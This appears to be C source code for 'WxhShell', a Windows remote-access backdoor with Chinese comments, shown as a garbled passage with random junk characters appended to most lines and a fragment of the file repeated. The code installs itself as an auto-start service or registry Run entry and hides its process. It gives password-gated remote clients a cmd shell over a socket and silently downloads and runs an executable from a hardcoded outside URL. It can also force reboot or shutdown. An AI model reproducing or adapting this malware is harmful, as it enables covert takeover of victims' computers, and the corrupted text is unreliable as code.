    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xc ++b|k  
    else { +:2klJ  
    closesocket(wsh);  l03B=$  
    ExitThread(0); 2F[ q).  
    } hw uiu*  
    break; !"AvY y9  
    } h#I>M`|  
  // 关机 Xxj- 6i  
  case 'd': { 8bGd} (  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); E*& vy  
    if(Boot(SHUTDOWN)) Ha#= (9.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ng&%o  
    else { ejKucEgD  
    closesocket(wsh); F~ty!(c  
    ExitThread(0); @ )F)S 7  
    } eSn+B;  
    break; 1y &\5kB  
    } @3i\%R)n;  
  // 获取shell bG"~"ipn%  
  case 's': { +.8 \p5  
    CmdShell(wsh); rw[ph[\X  
    closesocket(wsh); d7^}tM  
    ExitThread(0); b#c:u2  
    break; &N9 a<w8+  
  } Yu/ID!`Z  
  // 退出 krxo"WgD  
  case 'x': { OG~gFZr)6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); n)/z0n!\  
    CloseIt(wsh); ZmqKQO  
    break; \<h0Q,e  
    } -/B+T>[nTb  
  // 离开 Z3e| UAif  
  case 'q': { uh_RGM&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *tFHM &a  
    closesocket(wsh); "s-"<&>a(  
    WSACleanup(); a~`eQ_N D  
    exit(1); .8g)av+  
    break; Eh`7X=Z7E  
        } Ufj`euY  
  } ,^r9n[M4M  
  } )iX~}7  
KM0ru  
  // 提示信息  'c&Ed  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T.F!+  
} QhFV xCA  
  } "9uKtQS0o  
3yme1Mb  
  return; yF:1( 4  
} 0 JS?;fk  
bRDYGuC  
// shell模块句柄 e ,'_xV  
int CmdShell(SOCKET sock) OKZV{Gja  
{ 234p9A@  
STARTUPINFO si; o 11jca|  
ZeroMemory(&si,sizeof(si)); ;>hO+Wo  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `RT>}_j  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; iXkF1r]i  
PROCESS_INFORMATION ProcessInfo; &AMl:@p9  
char cmdline[]="cmd"; urc| D0n  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Hvauyx5T  
  return 0; ^0 )g/`H^>  
} G't$Qx,IC  
EP&,MYI%E  
// 自身启动模式 FkDmP`Od  
int StartFromService(void) %Xd[(Q)  
{ 5ta `%R_  
typedef struct 4B;=kL_f  
{ @IKYh{j4  
  DWORD ExitStatus; S}3fr^{.  
  DWORD PebBaseAddress; ssA`I<p#  
  DWORD AffinityMask; ,,.QfUj/&  
  DWORD BasePriority; FXCMR\BsQ  
  ULONG UniqueProcessId; 7"D", 1h  
  ULONG InheritedFromUniqueProcessId; ]%SH>  
}   PROCESS_BASIC_INFORMATION; (Rh,,  
_ye |Y  
PROCNTQSIP NtQueryInformationProcess; /N+dQe  
@7c?xQVd$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; mIvx1_[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "{+QW  
"cGk)s  
  HANDLE             hProcess; N% B>M7-=  
  PROCESS_BASIC_INFORMATION pbi; wu6;.xTLl  
8rGgF]F  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); g-k|>-h  
  if(NULL == hInst ) return 0; wm@@$  
j_[tu!~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +E+p"7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); z9Mfd#5?>P  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); E~T-=ocKE  
sdrfsrNvB-  
  if (!NtQueryInformationProcess) return 0; ]cvwIc">  
0auYG><=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); FUzzB94a  
  if(!hProcess) return 0; By,eETU]  
P;no?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,Vax&n+J  
}#+^{P3;  
  CloseHandle(hProcess); Po0A#Zl  
I,DS@SK  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); QL/(72K  
if(hProcess==NULL) return 0; rXq.DvQ  
c#]4awHU  
HMODULE hMod; ?R 'r4P,  
char procName[255]; xH,a=8&9  
unsigned long cbNeeded; 7z,C}-q  
Q\vpqE! 9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); zI uJ-8T"  
1H`,WQ1mG  
  CloseHandle(hProcess); =I5>$}q_&,  
'oVx#w^mf  
if(strstr(procName,"services")) return 1; // 以服务启动 n&/ `  
DfD&)tsMQ  
  return 0; // 注册表启动 N>1em!AS  
} Oo~; L,  
H41?/U,{  
// 主模块 6_;icpN]  
int StartWxhshell(LPSTR lpCmdLine) MchA{p&Ol  
{ {Mk6T1Bkq  
  SOCKET wsl; `(;m?<%  
BOOL val=TRUE; a-tmq]]E  
  int port=0; |-ALklXr  
  struct sockaddr_in door; Rv>-4@fMJ  
t}4, ]m s  
  if(wscfg.ws_autoins) Install(); W@IQ^ }E  
,qwuLBW  
port=atoi(lpCmdLine); ue"~9JK.  
ATyEf5Id_  
if(port<=0) port=wscfg.ws_port; H8jpxzXv  
7A7?GDW  
  WSADATA data; **CR} yV  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >'$Mp<  
Y@iS_lR  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   .Hm>i  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >:!5*E5?  
  door.sin_family = AF_INET; /nsX]V6i  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); pki%vRY  
  door.sin_port = htons(port); r5/0u(\LB  
T>Z<]s  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0mVNQxHI  
closesocket(wsl); |r/"  |`  
return 1; gJ{)-\  
} Fo_sgv8O<  
H?Wya.7  
  if(listen(wsl,2) == INVALID_SOCKET) { !< ";cw(q  
closesocket(wsl); J;e2&gB  
return 1; C) s5D  
} 0+ '&`Q!u  
  Wxhshell(wsl); 5tk AFb4P  
  WSACleanup(); =qIp2c}Rx  
B$K=\6o  
return 0; Q&;9 x?e  
?V=ZIGj  
} r u%y  
EZGIf/ 3  
// 以NT服务方式启动 pv&sO~!iC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) eByz-,{P  
{ e *C(q~PQ  
DWORD   status = 0; _H%c;z+  
  DWORD   specificError = 0xfffffff; q;CiV  
A)!*]o>U  
  serviceStatus.dwServiceType     = SERVICE_WIN32; '<<t]kK[N  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  c?-H>u  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; t{kG<J/l  
  serviceStatus.dwWin32ExitCode     = 0; Llo"MO*sr  
  serviceStatus.dwServiceSpecificExitCode = 0; /6* 42[r  
  serviceStatus.dwCheckPoint       = 0; +'a^f5  
  serviceStatus.dwWaitHint       = 0; m0SlOgRsk  
d0ks G$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /~?*=}c^m  
  if (hServiceStatusHandle==0) return; ND;#7/$>  
%> eiAB_b  
status = GetLastError(); 2zb"MEOS5  
  if (status!=NO_ERROR) j^JPZ{ej ?  
{ fr3d  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; L2z[   
    serviceStatus.dwCheckPoint       = 0; SnfYT)Ph  
    serviceStatus.dwWaitHint       = 0; /3T1U  
    serviceStatus.dwWin32ExitCode     = status; Gd=RyoJl  
    serviceStatus.dwServiceSpecificExitCode = specificError; KpGhQdR#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); niyV8v  
    return; tWRC$  
  } D>q9 3;p  
GVn!O1jio  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Otuf] B^s  
  serviceStatus.dwCheckPoint       = 0; NLqzi%s  
  serviceStatus.dwWaitHint       = 0; o*H<KaX  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); bd-L` ={j  
} 7NGxa6wi  
5;EvNu  
// 处理NT服务事件,比如:启动、停止 ,O(hMI85]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) TeM|:o  
{ QWYJ *  
switch(fdwControl) lo+A%\1  
{ :F?C)F  
case SERVICE_CONTROL_STOP: i/4>2y9/F4  
  serviceStatus.dwWin32ExitCode = 0; tD)J*]G  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ga+dt  
  serviceStatus.dwCheckPoint   = 0; ux4POO3C|  
  serviceStatus.dwWaitHint     = 0; i_%_x*  
  { !|(NgzDP/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N6:`/f+A>T  
  } 1+s;FJ2}  
  return; g- gV2$I  
case SERVICE_CONTROL_PAUSE: "to;\9lP  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; y6a3t G  
  break; 0H:X3y+  
case SERVICE_CONTROL_CONTINUE: WsB?C&>x  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4Nsp<Kn>  
  break; *EH~_F  
case SERVICE_CONTROL_INTERROGATE: 1qA;/-Zr<o  
  break; M= (u]%\  
}; ]/v[8dS(l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ygcm|PrS  
} MQ2}EY*A  
upmx $H>  
// 标准应用程序主函数 &D<yX~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) y9ZvV0  
{ F^:3?JA _  
75lA%| *X  
// 获取操作系统版本 N!}f}oF  
OsIsNt=GetOsVer(); B+`g> h  
GetModuleFileName(NULL,ExeFile,MAX_PATH); CU0YIL  
 ob]w;"  
  // 从命令行安装 XCQs2CHt  
  if(strpbrk(lpCmdLine,"iI")) Install(); h*\%vr  
Le^ n +5x  
  // 下载执行文件 ;xTpE2 -~  
if(wscfg.ws_downexe) { SXh-A1t  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "tK=+f`NM  
  WinExec(wscfg.ws_filenam,SW_HIDE); PKz':_|  
} !N^@4*  
m&3xJuKih  
if(!OsIsNt) { ~} ~4  
// 如果时win9x,隐藏进程并且设置为注册表启动 / ;$[E  
HideProc(); OyIw>Wfv  
StartWxhshell(lpCmdLine); "AqB$^S9t  
} tH4B:Bgj!  
else 2 %]X+`+O  
  if(StartFromService()) AbM'3Mkz  
  // 以服务方式启动 HoAy_7-5  
  StartServiceCtrlDispatcher(DispatchTable); 2=}FBA,2  
else x8|J-8A(  
  // 普通方式启动 Hl=xW/%6y  
  StartWxhshell(lpCmdLine); 2\$oV  
BgT*icd8d  
return 0; c71y'hnT  
} dE3) | %  
sLk-x\P]|  
\;Weizq5  
er\|i. Y  
=========================================== 6A ah9   
|.dRily+  
|w=zOC;v  
['D]>Ot68  
<_+X 88  
BA.uw_^4  
" XjBD{m(  
/$m;y[[  
#include <stdio.h> zQ PQ  
#include <string.h> #-J>NWdt  
#include <windows.h> /bmN\I  
#include <winsock2.h> a+QpM*n7Lq  
#include <winsvc.h> !,PWb3S  
#include <urlmon.h> Gc7=  
'3;b@g,  
#pragma comment (lib, "Ws2_32.lib") q^nVN#  
#pragma comment (lib, "urlmon.lib") W,u:gzmhw  
[Rb+q=z#  
#define MAX_USER   100 // 最大客户端连接数 q3`u1S7Z7  
#define BUF_SOCK   200 // sock buffer %so]L+r2!  
#define KEY_BUFF   255 // 输入 buffer wL[ M:  
,zc(t<|-y  
#define REBOOT     0   // 重启 W g! Lfu  
#define SHUTDOWN   1   // 关机 rC5O")I<  
jEwIn1  
#define DEF_PORT   5000 // 监听端口 !r-F>!~  
>Q*Wi  
#define REG_LEN     16   // 注册表键长度 pR_9NfV{  
#define SVC_LEN     80   // NT服务名长度 \2z>?i)  
mkpMfPt  
// 从dll定义API uAk.@nfiEv  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?7A>+EY  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $cg cX  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Hr C+Yjp  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); t JmTBsn  
2 E= L8<  
// wxhshell配置信息 dr"1s-D4IQ  
struct WSCFG { ~J]qP#C  
  int ws_port;         // 监听端口 rl.}%Ny  
  char ws_passstr[REG_LEN]; // 口令 7 8,n%=nG  
  int ws_autoins;       // 安装标记, 1=yes 0=no '%;m?t% q  
  char ws_regname[REG_LEN]; // 注册表键名 ^J{:x  
  char ws_svcname[REG_LEN]; // 服务名 PY'2h4IL  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 y7<|_:00  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 CJyevMf'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +[ZY:ZQ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &5;"#:ORcK  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (k P9hcV  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (m$Y<{)2  
+`15le`R  
}; *WZA9G#V5  
4ppz,L,4  
// default Wxhshell configuration JGZBL{8  
struct WSCFG wscfg={DEF_PORT, I=#$8l.*  
    "xuhuanlingzhe", I+(nu47ZT  
    1, qgB_=Q#E  
    "Wxhshell", 9H~n _   
    "Wxhshell", $VR{q6[0S?  
            "WxhShell Service", i~72bMwsA  
    "Wrsky Windows CmdShell Service", =pr7G+_u  
    "Please Input Your Password: ", XP}<N&j  
  1, A}w/OA97RO  
  "http://www.wrsky.com/wxhshell.exe", G/W>S,(  
  "Wxhshell.exe" >Gu M]qn  
    }; dWW.Y*339  
6~+e mlD  
// 消息定义模块 3U}%2ARo_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^f@=:eWI  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [><Tm \(:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Lj7AZ|k  
char *msg_ws_ext="\n\rExit."; ^^Vg~){4  
char *msg_ws_end="\n\rQuit."; d_ CT $  
char *msg_ws_boot="\n\rReboot..."; VaPG-n>Vf  
char *msg_ws_poff="\n\rShutdown..."; eH,or,r  
char *msg_ws_down="\n\rSave to "; {)Xy%QV  
j1Ezf=N6`  
char *msg_ws_err="\n\rErr!"; 4z)]@:`}z  
char *msg_ws_ok="\n\rOK!"; ?4uL-z](V  
)gi9f1n`  
char ExeFile[MAX_PATH]; d5-qZ{W  
int nUser = 0; r<\u6jF  
HANDLE handles[MAX_USER]; }2oc#0  
int OsIsNt; X{VOAcugr  
ZC8wA;!z^  
SERVICE_STATUS       serviceStatus; ,u m|1dh  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; DNi+"[~&P  
kT=8e;K  
// 函数声明 @nf`Gw ;  
int Install(void); [hs ds\  
int Uninstall(void); 8k79&|  
int DownloadFile(char *sURL, SOCKET wsh); P~dcW  
int Boot(int flag); 2qp#N%  
void HideProc(void); P2Y^d#jO  
int GetOsVer(void); !9x}  
int Wxhshell(SOCKET wsl); `h;[TtIX4  
void TalkWithClient(void *cs); >sbu<|]a 7  
int CmdShell(SOCKET sock); S>{~nOYt-`  
int StartFromService(void); =c7;r]Ol  
int StartWxhshell(LPSTR lpCmdLine); n!(F, b  
/RF7j;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); IA(5?7x`<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7z-[f'EIUI  
^Dx&|UwiZa  
// 数据结构和表定义 _cwpA#x`}  
SERVICE_TABLE_ENTRY DispatchTable[] = ;kK/_%gN-G  
{ QW"! (`K  
{wscfg.ws_svcname, NTServiceMain}, Pz^544\~ou  
{NULL, NULL} 4P0}+  
}; @ P|y{e6  
?Ob3tUz2  
// 自我安装 Ss`LLq0LO  
int Install(void) W!<U85-#S  
{ Xr{v~bf  
  char svExeFile[MAX_PATH]; 28nFRr  
  HKEY key; G&dKY h\  
  strcpy(svExeFile,ExeFile); aDCwI:Li(  
v>56~AJ  
// 如果是win9x系统,修改注册表设为自启动 1eKT^bgM  
if(!OsIsNt) { "5 A! jq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /<3UQLMa  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1&2>LE/P  
  RegCloseKey(key); fR|A(u#9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T;#FEzBz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Wjc'*QCPl  
  RegCloseKey(key); e# bn#  
  return 0; g=rbPbu  
    } 54/=G(F   
  } y)*RV;^  
} %3 rP `A  
else { -HuA \0J  
x"~JR\yzKJ  
// 如果是NT以上系统,安装为系统服务 wS*E(IAl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Y ay?=Y{  
if (schSCManager!=0) Mfs?x a  
{ A=4OWV?  
  SC_HANDLE schService = CreateService j39wA~ K  
  ( *`U~?q}  
  schSCManager, 9VT;ep  
  wscfg.ws_svcname, xkn;,`t^lJ  
  wscfg.ws_svcdisp, v2?ZQeHr_(  
  SERVICE_ALL_ACCESS, h$*!8=M  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Ls%MGs9PI  
  SERVICE_AUTO_START, T;uX4,|(  
  SERVICE_ERROR_NORMAL, 6nQq  
  svExeFile, +qoRP2  
  NULL, b]y2+A.n  
  NULL, _g. {MTQ  
  NULL, Y0>y8U V  
  NULL, Z}QB.$&  
  NULL &FD>&WRV  
  ); iB{V^ksU  
  if (schService!=0) fIF8%J ^3  
  { 7 3m1  
  CloseServiceHandle(schService); f<H2-(m  
  CloseServiceHandle(schSCManager); yjAL\U7`T  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7L??ae  
  strcat(svExeFile,wscfg.ws_svcname); O84i;S+-p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #F#%`Rv1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); A's{j7  
  RegCloseKey(key); g){<y~Mk  
  return 0; v1[29t<I!  
    } XRH!]!  
  } Uv.)?YeGh  
  CloseServiceHandle(schSCManager); 40/Y\  
} TNth   
} +0~YP*I`/  
d5.4l&\u  
return 1; pFXEu= $3  
} Y 7aqO5  
9my^ Y9B  
// 自我卸载 yw!{MO  
int Uninstall(void) ]3gSQ7  
{ xU vs:  
  HKEY key; 99S ^f:t  
dscgj5b1~  
if(!OsIsNt) { ,^:.dFH6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [~^0gAlQC  
  RegDeleteValue(key,wscfg.ws_regname); <!+Az,-  
  RegCloseKey(key); T |p"0b A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .h[:xYm  
  RegDeleteValue(key,wscfg.ws_regname); ~`/V(r;o  
  RegCloseKey(key); "{n&~H`  
  return 0; H.c7Nle  
  } /mMV{[  
} :svq E+2  
} ^"g~-  
else { OPi0~s  
SIllU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?`#Khff?  
if (schSCManager!=0) y*? Jui Q  
{ nEfK53i_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); GmG 5[?)  
  if (schService!=0) U(Zq= M  
  { 9z0p5)]n>  
  if(DeleteService(schService)!=0) { Z.WW(C.  
  CloseServiceHandle(schService); VQs5"K"  
  CloseServiceHandle(schSCManager); [e q&C_|D  
  return 0; :U\tv[  
  } :Al!1BJQ  
  CloseServiceHandle(schService); 5bIw?%dk(  
  } SKtrtm  
  CloseServiceHandle(schSCManager); y9;Yiv r)  
} lk!@?  
} I|OoRq  
j+!v}*I![  
return 1; B[}6-2<>?C  
} H.;Q+A,8^  
B1gR5p0  
// 从指定url下载文件 E@\e$?*X  
int DownloadFile(char *sURL, SOCKET wsh) LscGTs,  
{ G B^Br6  
  HRESULT hr; 9$Y=orpWxr  
char seps[]= "/"; 83m3OD_y  
char *token; H::bwn`Vc  
char *file; CAlCDfKW}  
char myURL[MAX_PATH]; @d_M@\r=j  
char myFILE[MAX_PATH]; +_`7G^U?%  
E{\2='3\  
strcpy(myURL,sURL); Y@v>FlqI{  
  token=strtok(myURL,seps); YQ} o?Q$z  
  while(token!=NULL) . me;.,$#  
  { .X&9Q9T=#  
    file=token; ^pS~Z~[d/  
  token=strtok(NULL,seps); jo7\`#(Q  
  } t:S+%u U  
LP-o8c  
GetCurrentDirectory(MAX_PATH,myFILE); TzZq(? V  
strcat(myFILE, "\\"); b$7 +;I;  
strcat(myFILE, file); IgzQr >  
  send(wsh,myFILE,strlen(myFILE),0); zqku e%^?-  
send(wsh,"...",3,0); 7^285)UQA  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); NHt\ U9l'  
  if(hr==S_OK) rjP/l6 ~'  
return 0; @CoIaUVP  
else lYIH/:T  
return 1; 7=uj2.J6  
iCoX& "lb  
} "tZe>>I  
e.%nRhSs3  
// 系统电源模块 ^Pf WG*  
int Boot(int flag) y7{?Ip4[  
{ IBGrt^$M  
  HANDLE hToken; "MsIjSu  
  TOKEN_PRIVILEGES tkp; l]vm=7:  
_aphkeqd  
  if(OsIsNt) { xk5 ]^yDp  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _{>vTBU4F  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); wL1MENzp*z  
    tkp.PrivilegeCount = 1; ("@!>|H  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Y2TtY;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,6/V" kqIP  
if(flag==REBOOT) { u +hX  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) s.rm7r@ #  
  return 0; b>W %t  
} R_KH"`q  
else { V#HuIgf-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) im8CmQ  
  return 0; B~mj 8l4  
} :s,Z<^5a)g  
  } ~u{uZ(~  
  else { ,uvRi)O>a  
if(flag==REBOOT) { zA 3_Lx!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) kM 6 Qp  
  return 0; NbobliC=  
} e.>P8C<&  
else { #E[0ys1O  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9?$i?  
  return 0; (Z*!#}z`  
} .`lCWeHN  
} !i50QA|(G  
I]575\bA  
return 1; ' QG?nu  
} 7pd$\$  
txpgO1  
// win9x进程隐藏模块 K'bP@y_cq  
void HideProc(void) Z;i:](  
{ Dv"9qk  
;gkM{={`p  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |4JEU3\$  
  if ( hKernel != NULL ) 4 5e~6",  
  { sB</DS  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); XSDpRo  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Hz~zu{;{J  
    FreeLibrary(hKernel); CAJ'zA|o  
  } r$1Qf}J3=  
;jXgAAz7  
return; *hx  
} yfSmDPh  
hM{bavd  
// 获取操作系统版本 3F3A%C%  
int GetOsVer(void) i. "v4D  
{ 8y L Y  
  OSVERSIONINFO winfo; zda 3 ,U2o  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); UZMd~|  
  GetVersionEx(&winfo); = &]L00u.  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^c<Ve'-  
  return 1; Wri<h:1  
  else b sX[UF  
  return 0; 53D]3  
} DrR@n~  
ZH8,K Y"  
// 客户端句柄模块 ?}0,o.  
int Wxhshell(SOCKET wsl) |N2#ItBbW  
{ >j/w@Fj  
  SOCKET wsh; f?Lw)hMrA  
  struct sockaddr_in client; WLT"ji0w2  
  DWORD myID; *VcJ= b 2Y  
*p U x8yB  
  while(nUser<MAX_USER) | (93gJ  
{ vQCy\Gi   
  int nSize=sizeof(client); }j%5t ~Qa  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \85i+q:LuA  
  if(wsh==INVALID_SOCKET) return 1; gJXaPJA{  
}OUtsh]y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); tA;}h7/Lc~  
if(handles[nUser]==0) ;`&kZi60Hz  
  closesocket(wsh); YWLj?+  
else wp_0+$?s  
  nUser++; Upe%rC(  
  } u_enqC3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?  t|[?  
nUO0Ce  
  return 0; 2ESo2  
} ]DcFySyv  
HtFDlvdy]  
// 关闭 socket RP"kC4~1  
void CloseIt(SOCKET wsh) zfU{Kd  
{ G[=c Ss,  
closesocket(wsh); $i&zex{\  
nUser--; O-^Ma- }  
ExitThread(0); _XBd3JN@  
} C]6O!Pb0  
)e{aN+  
// 客户端请求句柄 d6O[ @CyP  
void TalkWithClient(void *cs) 5O% {{J  
{ (>Em^(&  
I,tud!p`  
  SOCKET wsh=(SOCKET)cs; { FkF  
  char pwd[SVC_LEN]; &Jj<h: *  
  char cmd[KEY_BUFF]; /wp6KXm  
char chr[1]; `3pW]&  
int i,j; 'DR!9De  
eFgA 8kY)  
  while (nUser < MAX_USER) { ^[[P*NX3  
ax`o>_)  
if(wscfg.ws_passstr) { 7! Nsm  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Tk}]Gev  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j%kncGS  
  //ZeroMemory(pwd,KEY_BUFF); HN"Z]/ 5j  
      i=0; M]^5s;y  
  while(i<SVC_LEN) { & 21%zPm  
By |4 m  
  // 设置超时 .Mbz3;i0  
  fd_set FdRead; ]gOy(\B  
  struct timeval TimeOut; COlqcq'qAu  
  FD_ZERO(&FdRead); *@5@,=d  
  FD_SET(wsh,&FdRead); 7#XzrT]  
  TimeOut.tv_sec=8; as|<}:V  
  TimeOut.tv_usec=0; qX%_uOw:%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1zv'.uu.,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :;}P*T*PU  
?}oFg#m-<L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `?]k{ l1R  
  pwd=chr[0]; 9{l}bu/u  
  if(chr[0]==0xd || chr[0]==0xa) { dPlV>IM$z  
  pwd=0; T)/eeZ$  
  break; FPz9N@M%Q  
  } o/E >f_k[  
  i++; jcOcWB|  
    } 1}x%%RD_  
K?;DMUSY\  
  // 如果是非法用户,关闭 socket afVT~Sf{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +(Ae4{z"1+  
} /v{I  
)nkY_' BV  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L *wYx|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y(#e}z:  
Et$2Y-L.  
while(1) { ^8WRqQdx  
t.<i:#rj>l  
  ZeroMemory(cmd,KEY_BUFF); 4?kcv59  
^#pEPVkY  
      // 自动支持客户端 telnet标准   XFl 6M~ c  
  j=0; }bxs]?OW>  
  while(j<KEY_BUFF) { ="+#W6bZT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z/-=%g >HA  
  cmd[j]=chr[0]; $Sq:q0  
  if(chr[0]==0xa || chr[0]==0xd) { )lkjqFQ(  
  cmd[j]=0; `Di{}/2  
  break; Oketwa  
  } J.a]K[ci  
  j++; x2xRBkRg=  
    } V3Bz Mw\9r  
Gc?a+T  
  // 下载文件 _BufO7 `.  
  if(strstr(cmd,"http://")) { YK_ 7ip.a[  
